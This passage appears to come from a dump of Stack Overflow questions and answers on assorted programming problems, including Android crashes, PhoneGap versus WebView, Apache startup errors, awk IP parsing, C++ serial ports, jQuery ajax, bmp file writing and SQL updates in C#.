E/AndroidRuntime(5911): at java.lang.reflect.Method.invokeNative(Native Method) 09-08 19:25:16.249: E/AndroidRuntime(5911): at java.lang.reflect.Method.invoke(Method.java:525) 09-08 19:25:16.249: E/AndroidRuntime(5911): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:737) 09-08 19:25:16.249: E/AndroidRuntime(5911): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:553) 09-08 19:25:16.249: E/AndroidRuntime(5911): at dalvik.system.NativeStart.main(Native Method) 09-08 19:25:16.249: E/AndroidRuntime(5911): Caused by: java.lang.NullPointerException 09-08 19:25:16.249: E/AndroidRuntime(5911): at com.example.database.MainActivity.onCreate(MainActivity.java:31) 09-08 19:25:16.249: E/AndroidRuntime(5911): at android.app.Activity.performCreate(Activity.java:5133) 09-08 19:25:16.249: E/AndroidRuntime(5911): at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1087) 09-08 19:25:16.249: E/AndroidRuntime(5911): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2175) 09-08 19:25:16.249: E/AndroidRuntime(5911): ... 11 more </code></pre>
16591239	0	Is this the true difference between using PhoneGap and simply opening a WebView in my application? <p>I was lately assigned to create a PhoneGap application for 4 different mobile platforms. After playing around with PhoneGap for a while , i decided it wasnt good to serve my purposes as there were no push-notification plugins for the WP7 and BB platforms.</p> <p>So i went native. I wrote native code for the different platforms that simply does 2 things:</p> <p><strong>1)</strong> <em>implement push notifications</em></p> <p><strong>2)</strong> <em>open an in-app webView</em></p> <p>My plan was that now with the webView i can open my "html-javascript web page" that i would use with the phonegap framework and it would be the same thing..</p> <p><strong>However...</strong> lately i found out that some javascript wont run in the BB (some older versions of OS) . So now i think i understand whats the difference between using PhoneGap and by simple opening a WebView.</p> <p><strong>IF</strong> i was using PhoneGap , the html-javascript code that i would write , would be <em>translated</em> through the framework to <em>native</em> code so it would run in the mobile. Now that i try to run javascript through the Web Browser , it simply wont run if the device doesnt support it.</p> <p>Am i right here? Is this the final big difference between these 2 things?</p>
30253046	0	 <p>There are a few opportunities for speedup, but my first concern is <em>vector</em>. Where is it initialized? In the code posted, it gets n^2 entries and sorted n times! That seems unintentional. Should it be cleared? Should final be outside the loop?</p> <p>final=sorted(vector, key=lambda vector: vector[2],reverse = True)</p> <p>is functional, but has ugly scoping, better is:</p> <p>final=sorted(vector, key=lambda entry: entry[2], reverse=True)</p> <p>In general, to solve timing issues consider using a <a href="https://docs.python.org/2/library/profile.html" rel="nofollow">profiler</a>. </p>
37939273	0	 <p>According to the <a href="http://www-12.lotus.com/ldd/doc/lotusscript/lotusscript.nsf/1efb1287fc7c27388525642e0074f2b6/3c567087099f80948525642e0075cddc?OpenDocument" rel="nofollow">Lotus Note documentation</a>, <code>GetItemValue()</code> returns either a String, an array of String, or an array of Doubles, none of them having a <code>HasEmbedded</code> property.</p>
11900001	0	Default parameter template vs variadic template : what is the last template parameter? <p>I'm a little confused because both a default parameter template and a variadic template parameter have to be the last parameter of a template. So what is the good official syntax for my function ?</p> <pre><code>template&lt;typename T, class T2 = double, unsigned int... TDIM&gt; myFunction(/* SOMETHING */) </code></pre> <p>or</p> <pre><code>template&lt;typename T, unsigned int... TDIM, class T2 = double&gt; myFunction(/* SOMETHING */) </code></pre>
4531499	0	 <p>Might want to tell "left" what measure your statement is in (px, %, etc)</p>
17884176	0	Apache: Could not initialize random number generator <p>I'm really frustrated, my apache server doesn't start, my error.log is this:</p> <pre><code>[Fri Jul 26 16:26:20.211050 2013] [core:notice] [pid 32240:tid 268] AH00094: Command line: 'c:\\users\\mrvisiont\\desktop\\xampp\\apache\\bin\\httpd.exe -d C:/Users/MrViSiOnT/Desktop/xampp/apache' [Fri Jul 26 16:26:20.213050 2013] [mpm_winnt:notice] [pid 32240:tid 268] AH00418: Parent: Created child process 32112 [Fri Jul 26 16:26:20.225050 2013] [:crit] [pid 32112] (-2146173818)Unknown error: AH00141: Could not initialize random number generator [Fri Jul 26 16:26:20.227051 2013] [mpm_winnt:crit] [pid 32240:tid 268] AH00419: master_main: create child process failed. Exiting. </code></pre> <p>I don't know what is the meaning of "Could not initialize random number generator"</p> <p>Anybody knows what is the issue????</p> <p>EDIT:</p> <p>When I run httpd.exe, error.log is:</p> <pre><code> [Fri Jul 26 16:52:31 2013] [notice] Digest: generating secret for digest authentication ... [Fri Jul 26 16:52:31 2013] [notice] Digest: done [Fri Jul 26 16:52:31 2013] [notice] Apache/2.2.21 (Win32) mod_ssl/2.2.21 OpenSSL/1.0.0e PHP/5.3.8 configured -- resuming normal operations [Fri Jul 26 16:52:31 2013] [notice] Server built: Sep 10 2011 11:34:11 [Fri Jul 26 16:52:31 2013] [notice] Parent: Created child process 16760 no listening sockets available, shutting down Unable to open logs [Fri Jul 26 16:52:31 2013] [crit] (OS 87)El parámetro no es correcto. : master_main: create child process failed. Exiting. </code></pre> <p>EDIT (FYI): Thank you people! When I comment ServerName line from httpd.conf... error.log is:</p> <pre><code> httpd.exe: Could not reliably determine the server's fully qualified domain name, using fe80::8e3:cc40:2151:c412 for ServerName [Fri Jul 26 17:03:11 2013] [notice] Digest: generating secret for digest authentication ... [Fri Jul 26 17:03:11 2013] [notice] Digest: done [Fri Jul 26 17:03:12 2013] [notice] Apache/2.2.21 (Win32) mod_ssl/2.2.21 OpenSSL/1.0.0e PHP/5.3.8 configured -- resuming normal operations [Fri Jul 26 17:03:12 2013] [notice] Server built: Sep 10 2011 11:34:11 [Fri Jul 26 17:03:12 2013] [notice] Parent: Created child process 13816 httpd.exe: apr_sockaddr_info_get() failed for MRVISIONT-PC httpd.exe: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1 for ServerName no listening sockets available, shutting down Unable to open logs [Fri Jul 26 17:03:12 2013] [crit] (OS 6)Controlador no válido. : master_main: create child process failed. Exiting. </code></pre>
28853600	0	 <p>You can do this without regex using <code>awk</code> (on this simple example):</p> <pre><code>awk -F":|/" '{print $2}' file 192.1.1.128 192.1.1.11 </code></pre> <hr> <p>To test if its IP contains three <code>.</code>:</p> <pre><code>awk -F":|/" '{n=split($2,a,".");if (n=4) print $2}' file 192.1.1.128 192.1.1.11 </code></pre>
783253	0	 <p>This is why we have the REST (and SOAP) protocols.</p> <p>The desktop makes RESTful requests to your web application. Your web application receives the REST requests and does the real work.</p> <p>Your code exists in exactly one place -- the web.</p>
4766481	0	Xcode cannot find a java class which I'm trying to extend <p>I'm working on a Java project which was written by someone else. This person made a hierarchy of folders inside the 'src' folder. I've added a new java class into one of those folders and defined it as 'XmlFile.java'. Then, I'm trying to have it extend a previously written class 'GenericFile.java' by writing</p> <pre><code>package //Same package GenericFile is in public class XmlFile extends GenericFile { ... } </code></pre> <p>When I try to compile the project it gives me the error </p> <pre><code>Cannot find symbol </code></pre> <p>and refers me to the line </p> <pre><code>public class XmlFile extends GenericFile </code></pre> <p>if I take out </p> <pre><code>extends GenericFile </code></pre> <p>everything compiles great.</p> <p>I also notice after adding the new file (XmlFile.java) I cannot delete it (the option in Edit->Delete is not selectable for that file, or for any files/folders created by the person from whom I got the project).</p> <p>Is there some sort of permission issue here or some hidden scope issue caused by the permissions being strange or what?</p> <p>Please help me</p> <p>Cheers, WhiteTiger</p>
15457887	0	How to set up syntastic for vim? <p>So I git cloned the repository to <code>~/.vim/bundle</code> and had pathogen installed. I can be sure pathogen works fine since my other plugins in bundle are all working fine. After googling for a while, it seems that syntastic should work out of box for c code. I also checked that I have all the executables specified in <code>syntastic/syntax_checkers/c/</code>.</p> <p>Here is a part of my .vimrc file:</p> <pre><code>" syntastic let g:syntastic_auto_loc_list=1 let g:syntastic_disabled_filetypes=['html'] let g:syntastic_enable_signs=1 </code></pre> <p>When I open a *.c file and do <code>:SyntasticCheck</code>, nothing happens. There is no errors complaining command not found, so syntastic is loaded. However, even if the *.c file that's currently opened contains errors syntax error, syntastic is not showing anything. </p> <p>It is the first time I use syntastic so I don't really know the correct way to invoke it. </p> <p>I also tried <code>:SyntasticCheck [c]</code> and I get the following error message:</p> <pre><code>Error detected while processing function &lt;SNR&gt;_22_UpdateErrors..&lt;SNR&gt;22_CacheErrors: line 16: E121: Undefined variable: checkers E15: Invalid expression: checkers </code></pre> <p>Can someone tell me what I did wrong and how to invoke syntastic? Thanks!</p>
30639829	0	 <p>Its pretty easy to be honest with the native_handle. That's how I solved it.</p> <pre><code>#include &lt;sys/ioctl.h&gt; .... :::Constructor::: { //config for my device serialPort.open(port); serialPort.set_option(serial_port::baud_rate(9600)); serialPort.set_option(serial_port::parity(serial_port::parity::even)); serialPort.set_option(serial_port::character_size(serial_port::character_size(8))); serialPort.set_option(serial_port::stop_bits(serial_port::stop_bits::one)); serialPort.set_option(serial_port::flow_control(serial_port::flow_control::none)); fd = serialPort.native_handle(); // fd is of typ int } void setRTS(bool enabled //int fd = serialPort.native_handle(); int data = TIOCM_RTS; if (!enabled) ioctl(fd, TIOCMBIC, &amp;data); else ioctl(fd, TIOCMBIS, &amp;data); } void setDTR(bool enabled) { //int fd = serialPort.native_handle(); int data = TIOCM_DTR; if (!enabled) ioctl(fd, TIOCMBIC, &amp;data); // Clears the RTS pin else ioctl(fd, TIOCMBIS, &amp;data); // Sets the RTS pin } </code></pre>
9669631	0	 <p>In principle, you would only need to tunnel port 80 at every ssh.</p> <p>So, at every step: <code>ssh -L80:localhost:80 &lt;next-host&gt;</code>. </p> <p>However, you will not be able to tunnel port 80 (and all ports &lt; 1024) without root privileges, so you'll have to use a different port for this.</p>
33480864	0	How to make the parent view to handle all the OnClick events? <p>I have a Layout that has a button that shows another view, but only for 1 time, I mean, you click the button, it dissapear and the other view is shown, the second time you should click the parent view of that button and the other view (the one that was shown) should dissapear and the button should appear again. I am trying with <code>clickable:false</code> and <code>focusable:false</code> but it is not working. How can I achieve that?</p> <p><strong>Relevant Code</strong></p> <p>XML</p> <pre><code>&lt;LinearLayout android:id="@+id/item_tournament_header" android:background="@drawable/bg_card_tournament" android:layout_width="match_parent" android:layout_height="wrap_content" android:weightSum="15"&gt; &lt;RelativeLayout android:clickable="false" android:focusable="false" android:layout_weight="3" android:layout_width="0dp" android:layout_height="match_parent"&gt; &lt;com.github.siyamed.shapeimageview.CircularImageView android:id="@+id/item_friend_img_profile_pic" android:layout_height="48dp" android:layout_width="48dp" android:layout_centerInParent="true" android:scaleType="centerCrop" android:src="@drawable/ic_profile" app:siBorderColor="@color/white"/&gt; &lt;/RelativeLayout&gt; &lt;LinearLayout android:clickable="false" android:focusable="false" android:layout_weight="10" android:layout_width="0dp" android:orientation="vertical" android:layout_height="match_parent"&gt; &lt;TextView android:id="@+id/tournament_name" android:textSize="@dimen/text_h3" android:textStyle="bold" android:textColor="@color/white" android:layout_width="match_parent" android:layout_height="wrap_content" /&gt; &lt;TextView android:id="@+id/tournament_client" android:textSize="@dimen/text_p" android:textColor="@color/white" android:layout_width="match_parent" android:layout_height="wrap_content" /&gt; &lt;/LinearLayout&gt; &lt;RelativeLayout android:clickable="false" android:focusable="false" android:layout_weight="2" android:layout_width="0dp" android:orientation="vertical" android:layout_height="match_parent"&gt; &lt;ImageView android:id="@+id/btn_plus" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_centerInParent="true" android:src="@drawable/ic_plus_tournaments"/&gt; &lt;/RelativeLayout&gt; &lt;/LinearLayout&gt; </code></pre> <p>Java</p> <pre><code> btn_plus = (ImageView) findViewById(R.id.btn_plus); TournamentContent =(LinearLayout)findViewById(R.id.item_tournament_content); TournamentHeadaer =(LinearLayout)findViewById(R.id.item_tournament_header); btn_plus.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { TournamentContent.setVisibility(View.VISIBLE); btn_plus.setVisibility(View.GONE); } }); TournamentHeadaer.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { if(btn_plus.getVisibility()==View.VISIBLE) { // It's not entering here!!! TournamentContent.setVisibility(View.GONE); btn_plus.setVisibility(View.VISIBLE); } } }); </code></pre>
18799786	0	 <p>you can store the values into an array and use this </p> <pre><code>[datesArray sortUsingSelector:@selector(compare:)]; </code></pre> <p>it will sort u the time </p>
21251886	0	 <p>There are several syntax errors in your code try the following code,</p> <pre><code>$(function() { $("#toggleSelect").on("change", function() { idToggler = $(this).attr("rel"); if ($("#" + idToggler).is(":disabled")) { $("#" + idToggler).prop("disabled", false); } else { $("#" + idToggler).prop("disabled", true); } }); }); </code></pre> <p><a href="http://jsfiddle.net/pranavcbalan/Tc56X/" rel="nofollow"><strong><em>Fiddle Demo</em></strong></a></p>
2295552	0	 <pre><code>select TPNB, sum(AllocatedQty) as 'QTY' from ( SELECT TPND, TPNB FROM ProductLookup GROUP BY TPND, TPNB ) as PL inner join dbo.AllocatedStock as AStock on PL.TPND = AStock.TPND group by TPNB </code></pre>
22985403	0	Convert hexadecimal string to numeric IP Address in PHP <p>i want to convert this kind of address <strong>0xC0A8071B</strong> to a numeric Ip Address (ex: 192.168.96.55)</p> <p>How to do that in PHP?</p>
18700563	0	My ajax call is not working in Chrome and Firefox <p>Hi My ajax call is not working in chrome and firefox but it is in Safari. I am not able to figure it out as it is working on all browsers locally. My site is recently had SSl certificate.Is that something causing problem? I am not sure. For reference below is my Ajax function</p> <pre><code>&lt;script type="text/javascript"&gt; //&lt;![CDATA[ $(function () { $("#selectReport").hide(); $("select#countryId").change(function () { var manu = $("#manufacturerId option:selected").text(); $("#Manufacturer").val(manu); $("#selectReport").show(); }); $("select#reportId").change(function (e) { e.preventDefault(); var country = $("#countryId option:selected").text(); $("#CountryName").val(country); }); $("select#reportId").change(function (event) { event.preventDefault(); var reportName = $("#reportId option:selected").text(); var manufacturer = $("#Manufacturer").val(); var countryName = $("#CountryName").val(); var theUrl = "/Reports/GetReport/" + reportName + "/" + manufacturer + "/" + countryName; $.ajax({ url: theUrl, type: 'get', success: function (data) { alert("I am success"); $('#ajaxOptionalFields').html(data); }, error: function () { alert("an error occured here"); } }); }); }); //]]&gt; &lt;/script&gt; </code></pre>
3094575	0	 <p>Since your function is going to return a vector, you will have to make a new vector (i.e. copy elements) in any case. In which case, <code>std::remove_copy_if</code> is fine, but you should use it correctly:</p> <pre><code>#include &lt;iostream&gt; #include &lt;vector&gt; #include &lt;set&gt; #include &lt;iterator&gt; #include &lt;algorithm&gt; #include &lt;functional&gt; std::vector&lt;int&gt; filter(const std::vector&lt;int&gt;&amp; all, const std::set&lt;int&gt;&amp; bad) { std::vector&lt;int&gt; result; remove_copy_if(all.begin(), all.end(), back_inserter(result), [&amp;bad](int i){return bad.count(i)==1;}); return result; } int main() { std::vector&lt;int&gt; all_items = {4,5,2,3,4,8,7,56,4,2,2,2,3}; std::set&lt;int&gt; bad_items = {2,8,4}; std::vector&lt;int&gt; filtered_items = filter(all_items, bad_items); copy(filtered_items.begin(), filtered_items.end(), std::ostream_iterator&lt;int&gt;(std::cout, " ")); std::cout &lt;&lt; std::endl; } </code></pre> <p>To do this in C++98, I guess you could use <code>mem_fun_ref</code> and <code>bind1st</code> to turn set::count into a functor in-line, but there are issues with that (which resulted in deprecation of bind1st in C++0x) which means depending on your compiler, you might end up using std::tr1::bind anyway:</p> <pre><code>remove_copy_if(all.begin(), all.end(), back_inserter(result), bind(&amp;std::set&lt;int&gt;::count, bad, std::tr1::placeholders::_1)); // or std::placeholders in C++0x </code></pre> <p>and in any case, an explicit function object would be more readable, I think:</p> <pre><code>struct IsMemberOf { const std::set&lt;int&gt;&amp; bad; IsMemberOf(const std::set&lt;int&gt;&amp; b) : bad(b) {} bool operator()(int i) const { return bad.count(i)==1;} }; std::vector&lt;int&gt; filter(const std::vector&lt;int&gt;&amp; all, const std::set&lt;int&gt;&amp; bad) { std::vector&lt;int&gt; result; remove_copy_if(all.begin(), all.end(), back_inserter(result), IsMemberOf(bad)); return result; } </code></pre>
35615251	0	 <p>You just need to adjust the lookbehind to</p> <pre><code>(?&lt;!System\.)Windows\.Forms </code></pre> <p>Or with word boundary to be more precise:</p> <pre><code>(?&lt;!\bSystem\.)\bWindows\.Forms\b </code></pre> <p>See the <a href="http://regexstorm.net/tester?p=(%3F%3C!%5CbSystem%5C.)%5CbWindows%5C.Forms%5Cb&amp;i=I%20am%20using%20VS%20regex%20to%20try%20and%20delete%20the%20string%20Windows.Forms%20but%20not%20System.Windows.Forms&amp;r=" rel="nofollow">regex demo</a></p> <p>The lookbehind is checking the text <em>before</em> the current position meets some subpattern. So, the text you need to match and consume is <code>Windows.Forms</code>, but it should not be preceded with <code>System.</code>. Thus, the lookbehind (negative one) should only contain <code>System\.</code> (or <code>\bSystem\.</code>). </p> <p>Note that the dots must be escaped to match literal dots.</p>
40851473	0	I get a big Error when i want to run this program in eclipse <p>I can't run this program in Eclipse. Eclipse doesn't say anything's wrong, I just can't open it.</p> <p><a href="https://i.stack.imgur.com/fGd5u.jpg" rel="nofollow noreferrer">Screenshot of the error and my program</a></p>
39730618	0	 <p>There is no issue on the code, it seems there is no matching row for the update condition.</p> <p><strong>Below is the tested code which works fine;</strong></p> <pre><code>using System; using System.Data; using System.Data.SqlClient; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace WindowsFormsApplication1 { public class SQLConnect { public SQLConnect(string startUp) { startupPath = startUp; connectionSuccesful = false; OpenConnection(); } public SqlConnection sqlConnect; public string startupPath { get; set; } public bool connectionSuccesful { get; set; } public bool temp { get; set; } public void IndtastBeløb(int beløb, string kategori) { DateTime time = DateTime.Now; int iBolig = 0; int iOther = 0; int iTransport = 0; int iLoan = 0; int iMad = 0; int iDiverse = 0; SqlCommand command = new SqlCommand("SELECT * FROM Entries WHERE dag = @day AND maned = @month AND ar = @year", sqlConnect); // command.Parameters.AddWithValue("@day", time.Day); command.Parameters.AddWithValue("@month", time.Month); command.Parameters.AddWithValue("@year", time.Year); /*command.Parameters.Add("@day", SqlDbType.Int); command.Parameters["@day"].Value = time.Day; command.Parameters.Add("@month", SqlDbType.Int); command.Parameters["@month"].Value = time.Month; command.Parameters.Add("@year", SqlDbType.Int); command.Parameters["@year"].Value = time.Year;*/ SqlDataReader reader = command.ExecuteReader(); if (reader.HasRows) { while (reader.Read()) { //thing = reader["bolig"].ToString(); //int iBolig = reader.GetInt32(0); iBolig = (int)reader["bolig"]; iOther = (int)reader["ovrige"]; iTransport = (int)reader["transport"]; iLoan = (int)reader["gold"]; iMad = (int)reader["mad"]; iDiverse = (int)reader["diverse"]; switch (kategori) { case "Bolig": iBolig += beløb; break; case "ovrige": iOther += beløb; break; case "Transport": iTransport += beløb; break; case "gold": iLoan += beløb; break; case "mad": iMad += beløb; break; case "diverse": break; default: break; } } reader.Close(); SqlCommand changeRow = new SqlCommand("UPDATE Entries SET bolig=@bolig WHERE dag=@day", sqlConnect); //, øvrige=@øvrige, transport=@transport, gæld=@gæld, mad=@mad, diverse=@diverse " + "WHERE dag=@day AND måned=@month AND år=@year" changeRow.Parameters.AddWithValue("@bolig", iBolig); changeRow.Parameters.AddWithValue("@day", time.Day); /*changeRow.Parameters.AddWithValue("@øvrige", iOther); changeRow.Parameters.AddWithValue("@transport", iTransport); changeRow.Parameters.AddWithValue("@gæld", iLoan); changeRow.Parameters.AddWithValue("@mad", iMad); changeRow.Parameters.AddWithValue("@diverse", iDiverse); changeRow.Parameters.AddWithValue("@month", time.Month); changeRow.Parameters.AddWithValue("@year", time.Year);*/ int cc = changeRow.ExecuteNonQuery(); } else { temp = false; } } public void OpenConnection() { sqlConnect = new SqlConnection(@"initial catalog=StackOverflow;User Id=sa;password=xxxxxx;Server=.;"); //sqlConnect = new SqlConnection(@"Data Source=(LocalDB)\MSSQLLocalDB;AttachDbFilename='c:\users\simo8211\documents\visual studio 2015\Projects\LuksusFældenForms\LuksusFældenForms\bin\Debug\LuksusDatabase.mdf';Integrated Security=True"); try { sqlConnect.Open(); connectionSuccesful = true; } catch { connectionSuccesful = false; } } } } private void Form1_Load(object sender, EventArgs e) { SQLConnect ocon = new WindowsFormsApplication1.SQLConnect(Application.StartupPath); if(ocon.connectionSuccesful) { ocon.IndtastBeløb(1, "Bolig"); } } </code></pre> <p><strong>SQL Script;</strong></p> <pre><code>create table Entries (bolig int, dag int, maned int, ar int, ovrige int,transport int, gold int, mad int,diverse int) insert into Entries values(1,27,9,2016,1,2,3,4,5) -- after update select * from Entries </code></pre> <p><strong>Result</strong></p> <p><a href="https://i.stack.imgur.com/qLzv2.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/qLzv2.png" alt="enter image description here"></a></p>
12345689	0	Silverlight 4 Capture source is not stopped <p>I am working on a Silverlight project to record the audio on a web page.</p> <p>After I clicked the Pause button the code will always throw an exception:</p> <p><strong>Capture source is not stopped</strong></p> <p>If I put a break point on this line of code and wait there for 3-5 seconds then run the code, no exception will be threw.</p> <pre><code> if (audioSink.CaptureSource.State == CaptureState.Started) (break point is on this line) </code></pre> <p>Here is the code</p> <pre><code> private void Pause(object sender, RoutedEventArgs e) { //System.Threading.Thread.Sleep(TimeSpan.FromSeconds(5)); if (audioSink.CaptureSource.State == CaptureState.Started) { audioSink.CaptureSource.Stop(); this.btnPause.IsEnabled = false; this.btnRecord.IsEnabled = true; this.btnSave.IsEnabled = true; } } audioSink.CaptureSource.Stop(); (This is the line of code which throws the exception) </code></pre>
24148724	0	 <p>I figured out why I was getting the error. In the list that was being returned, sometimes <code>id</code> was appearing before <code>high_score</code>, i.e. I was getting <code>"id": 10, "high_score": 180</code>, which is why the test ran OK. But at other times <code>high_score</code> was appearing before <code>id</code>, i.e. it was <code>"high_score": 180, "id": 10</code>, which is why the test was failing.</p>
34950063	0	 <p>Bison macros (<code>$</code> and <code>@</code>) are only expanding <em>directly</em> in actions -- and this expansion happens as bison generates C code. C macros are expanded in later, when your C compiler runs on the output of bison. So if you want to use the bison macros in a C macro, you need to ensure that they appear directly in the action, generally as an argument to the macro:</p> <pre><code>#define SET_LOCATION(DEST, SRC) \ { DEST = SRC; \ .... } </code></pre> <p>used as</p> <pre><code>SET_LOCATION(@$, @n) </code></pre>
3847514	0	Google Checkout for peer-to-peer payments <p>I'm trying to figure out if I can use Google Checkout for peer-to-peer payments. It seems fairly straightforward to set it up between a vendor and customers, but I'm not sure if it works well (or at all) for p2p.</p> <p>Can I use Google Checkout to do peer to peer payments?</p>
33536397	0	 <p>Please try the following:</p> <pre><code>for word in wn.words(): print word </code></pre> <p>This should work because <code>wn.words()</code> is actually an iterator that generates a sequence of strings, rather than a list of strings like <code>b.words</code>. The <code>for</code> loop causes the iterator to generate the words one at a time.</p>
10269674	0	 <p>If you slice a string with a <em>negative</em> number, Python counts backward from the end.</p> <pre><code>complement = {'A': 'T', 'C': 'G', 'G': 'C', 'T': 'A'} s = "AAAAAAAAAACCCCCCCCCCTTTTTTTTTTGGGGGGGGGG" "".join(complement[c] for c in s[-20:-10]) </code></pre> <hr> <p>EDIT:</p> <p>Your edit looks about right to me, yes. I am very bad at checking for <a href="http://en.wikipedia.org/wiki/Off-by-one_error" rel="nofollow">fencepost errors</a>, but you're better placed to see those than I am anyway!</p> <p>I've rewritten your code to be more Pythonic, but not changed anything substantial.</p> <pre><code>bc = {'A': 'T', 'C': 'G', 'G': 'C', 'T': 'A', 'N':'N'} f = open('chr22.fa') l = ''.join(line.strip() for line in f) f.seek(0) for line in f: fields = line.split('\t') gene_ID, chr, strand = fields[:2] start = int(fields[3]) end = int(fields[4]) if strand == '-': start, end = -(start + 1), -(end + 1) geneseq = ''.join(bc[base.upper()] for base in l[start:end]) </code></pre>
17320883	0	right click save as pdf is not coming in embed tag <p>In my web page there is an Iframe and in this Iframe pdf is being generated by birt UI tool and working fine. But Problem is when I right click on the pdf and do save as its saving it as a html not as pdf.</p> <p>The structure of the dome element is like this</p> <pre><code>&lt;iframe&gt; #document &lt;html&gt; &lt;embed ..... &gt;&lt;/embed&gt; &lt;/html&gt; &lt;/iframe&gt; </code></pre> <p>Actually this link is being fired and which gives a form and after filling the form and submitting it the pdf file is coming </p> <p>The link is <code>http://localhost:9090/ui_dashboard/frameset?__report=reports/RPT5008.rptdesign&amp;__format=pdf&amp;</code></p> <p>this gives a form and the then after submitting it pdf is generated runtime. </p> <p>So in this embed the pdf is being generated and coming to browser.But when I right click it is considering it as a html element not as a pdf.</p> <p>Please help</p>
6372737	0	How to create indexes on MQT(materialized query table) in Db2? <p>How to create indexes on MQT(materialized query table) in Db2? I haven't found this information in documentation? Is index creation syntax the same as for common tables?</p>
18102804	0	 <p>You must <code>hide()</code> before you can <code>fadeIn()</code>, try this: </p> <pre><code>$(document).ready(function () { $("table").css('color','green').hide().fadeIn(2000); }); </code></pre>
21519618	0	 <p>The behavior you so beautifully demonstrated is by design (or lack of, if you will). You are right in part, the crazy_linker does resolve some of such issues (but not all of them). There is an easy but ugly workaround. Build a dummy <code>libfcn_defined.so</code> which only has <code>T someMethod</code> in its <strong>nm</strong>. Use it to link <code>libfnc_undefined.so</code>, using <code>LD_LIBS</code>. NDK will show a warning, but that's OK. LAoad the real <code>libfcn_defined.so</code> in your Java.</p>
2686876	0	How does the same origin policy apply to IP addresses <p>I have a server on our company intranet that runs JBoss. I want to send API calls to this server from my machine, also on the intranet, and get the resulting XML responses using JQuery. </p> <p>I read the entry on <a href="http://en.wikipedia.org/wiki/Same_origin_policy" rel="nofollow noreferrer">Wikipedia</a> but am confused how that applies to my situation, since our machines only have IP addresses, not domain names. </p> <p>I have</p> <ul> <li><strong>server URL</strong>: 10.2.200.3:8001/serviceroot/service</li> <li><strong>client IP address</strong>: 10.2.201.217</li> </ul> <p>My questions are:</p> <ol> <li>As far as I understand these are different domains, right? So I have to use a proxy to issue JQuery.ajax calls to the server</li> <li>If I want to avoid doing (2), can I install Apache on the server and server the page with JS code form there? But then the JS will be from 10.2.200.3 and the server is at 10.2.200.3:8001. Aren't these considered different domains according to policy?</li> </ol> <p>Thanks!</p>
32001655	0	Dummy Browser for Codename One <p>Is there a relatively simple way to create a dummy browser, as in a browser with only the display portion, no address bar, buttons, etc. in a Codename One app? I want to build an app that is using the equivalent of a mobile site for most of the content but still uses the conventional app features for some of its functionality.</p>
35676933	0	Laravel 4.2 / Mysql Json(Text) Column Elements Eager Load <p>I have 3 table matches, players , player_details</p> <p>Matches row is = <br></p> <h2>id(int) | game(varchar) <br></h2> <p>1 | computer<br></p> <p>Players row is = <br></p> <h2>id(int) | match_id(int) | players(text)(for json) <br></h2> <p>1 | 1 | [{id:100},{id:102},{103}]<br></p> <p>Players_Details row is = <br></p> <h2>id(int) | player_name <br></h2> <p>100 | leonardo <br> 102 | mark <br> 103 | david <br></p> <p>i want to eager loading with three table for example<br> Matches::with('players')->get();<br> <br> how can i get matches with players and players_details eager loading.</p> <hr> <p>i try too <br> Matches row is = <br></p> <h2>id(int) | game(varchar) | players(text)(for json) <br></h2> <p>1 | computer | [{id:100},{id:102},{103}]<br> Matches::with('players.id')->get();<br> but not working anywhere i need help.</p> <hr> <p>Sorry for my english i'm not english person, thanks for patience.</p>
15008246	0	 <p>I use this code (<em>implmented before I learned about ndb tasklets</em>):</p> <pre><code> while rpcs: rpc = UserRPC.wait_any(rpcs) result = rpc.get_result() # process result here rpcs.remove(rpc) </code></pre>
15220424	0	 <p>You can do that programmatically,</p> <pre><code>myFrameLayout.setDrawingCacheEnabled(true); myFrameLayout.buildDrawingCache(); Bitmap bitmap = myFrameLayout.getDrawingCache(); myAnotherLayout.setBackgroundDrawable(new BitmapDrawable(bitmap))); </code></pre>
37726390	0	Manually writing bmp image works for one resolution and is broken for other <p>I try to create bmp output image. According to bmp header structure this code looks correct. Bmp header structure was taking according to <a href="http://www.fastgraph.com/help/bmp_header_format.html" rel="nofollow">http://www.fastgraph.com/help/bmp_header_format.html</a> But it produced valid bmp image only for resolution 500x500px. Whats wrong with code?</p> <pre><code>#include &lt;cstdint&gt; #include &lt;fstream&gt; struct BmpHeader { uint32_t mFileSize; // Size of file in bytes uint32_t mReserved01; // 2x 2 reserved bytes uint32_t mDataOffset; // Offset in bytes where data can be found (54) uint32_t mHeaderSize; // 40B int mWidth; // Width in pixels int mHeight; // Height in pixels short m_colorPlates; // Must be 1 short mBitsPerPixel; // We use 24bpp uint32_t mCompression; // We use BI_RGB ~ 0, uncompressed uint32_t mImageSize; // mWidth x mHeight x 3B uint32_t mHorizRes; // Pixels per meter (75dpi ~ 2953ppm) uint32_t mVertRes; // Pixels per meter (75dpi ~ 2953ppm) uint32_t mPaletteColors; // Not using palette - 0 uint32_t mImportantColors; // 0 - all are important }; int main() { uint32_t width = 2; uint32_t height = 2; std::ofstream bmp("1.bmp", std::ios::binary); BmpHeader header; bmp.write("BM", 2); header.mFileSize = uint32_t(sizeof(BmpHeader) + 2) + width * height * 3; header.mReserved01 = 0; header.mDataOffset = uint32_t(sizeof(BmpHeader) + 2); header.mHeaderSize = 40; header.mWidth = width; header.mHeight = height; header.m_colorPlates = 1; header.mBitsPerPixel = 24; header.mCompression = 0; header.mImageSize = 0; header.mHorizRes = 2953; header.mVertRes = 2953; header.mPaletteColors = 0; header.mImportantColors = 0; bmp.write((char*)&amp;header, sizeof(header)); for (unsigned int y = 0; y&lt;height; y++) { for (unsigned int x = 0; x&lt;width; x++) { typedef unsigned char byte; byte bgrB[3]; bgrB[0] = 120; bgrB[1] = 120; bgrB[2] = 120; bmp.write((char*)&amp;bgrB, sizeof(bgrB)); } } } </code></pre>
36227877	0	 <p>A typical way of doing this uses the ANSI standard window function<code>row_number()</code>:</p> <pre><code>select t.* from (select t.*, row_number() over (partition by idUser order by idUser) as seqnum from t ) t where seqnum = 1; </code></pre>
